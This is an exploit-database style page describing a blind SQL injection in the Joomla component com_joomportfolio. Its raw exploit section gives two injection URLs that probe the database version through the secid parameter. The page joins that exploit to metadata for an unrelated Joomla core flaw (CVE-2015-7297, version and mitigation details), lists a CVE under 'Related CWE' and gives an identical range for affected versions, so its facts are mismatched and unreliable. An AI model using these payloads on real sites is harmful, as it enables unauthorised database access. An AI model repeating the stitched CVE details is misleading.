Joomla com_joomportfolio Remote Blind Injection Vulnerability

vendor:

Joomla

by:

Snakespc

9,3

CVSS

HIGH

Remote Blind Injection

CWE

Product Name: Joomla

Affected Version From: Joomla versions prior to 3.4.5

Affected Version To: Joomla versions prior to 3.4.5

Patch Exists: YES

Related CWE: CVE-2015-7297

CPE: a:joomla:joomla

Metasploit: https://www.rapid7.com/db/vulnerabilities/freebsd-vid-0ebc6e78-7ac6-11e5-b35a-002590263bf5/

Other Scripts: N/A

Tags: packetstorm,cve,cve2015,joomla,sqli

CVSS Metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P

Nuclei References: https://nvd.nist.gov/vuln/detail/CVE-2015-7297, http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html, https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/, http://packetstormsecurity.com/files/134097/Joomla-3.44-SQL-Injection.html, http://packetstormsecurity.com/files/134494/Joomla-Content-History-SQL-Injection-Remote-Code-Execution.html

Nuclei Metadata: {'max-request': 1, 'vendor': 'joomla', 'product': 'joomla\\!'}

Platforms Tested: Windows, Linux, Mac

2015

Joomla com_joomportfolio Remote Blind Injection Vulnerability

A SQL injection vulnerability in Joomla! 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands.

Mitigation:

Upgrade to Joomla version 3.4.5 or later.

Source

Exploit-DB raw data:

==============================================================================
[»] Joomla com_joomportfolio Remote Blind Injection Vulnerability
==============================================================================
   
[»] Script:   [Joomla]
[»] Language: [ PHP ]
[»] Founder:  [ Snakespc Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ]
[»] Greetz to:[ sec-warTeaM, PrEdAtOr ,alnjm33 >>> All My Mamber >> sec-war.com/cc ]
   
###########################################################################
 ===[ Exploit ]===
   
[»] http://server/index.php?option=com_joomportfolio&task=showsec&Itemid=44&secid=1+AND SUBSTRING(@@version,1,1)=4 (no)
[»] http://server/index.php?option=com_joomportfolio&task=showsec&Itemid=44&secid=1+AND SUBSTRING(@@version,1,1)=5 (yes)
###########################################################################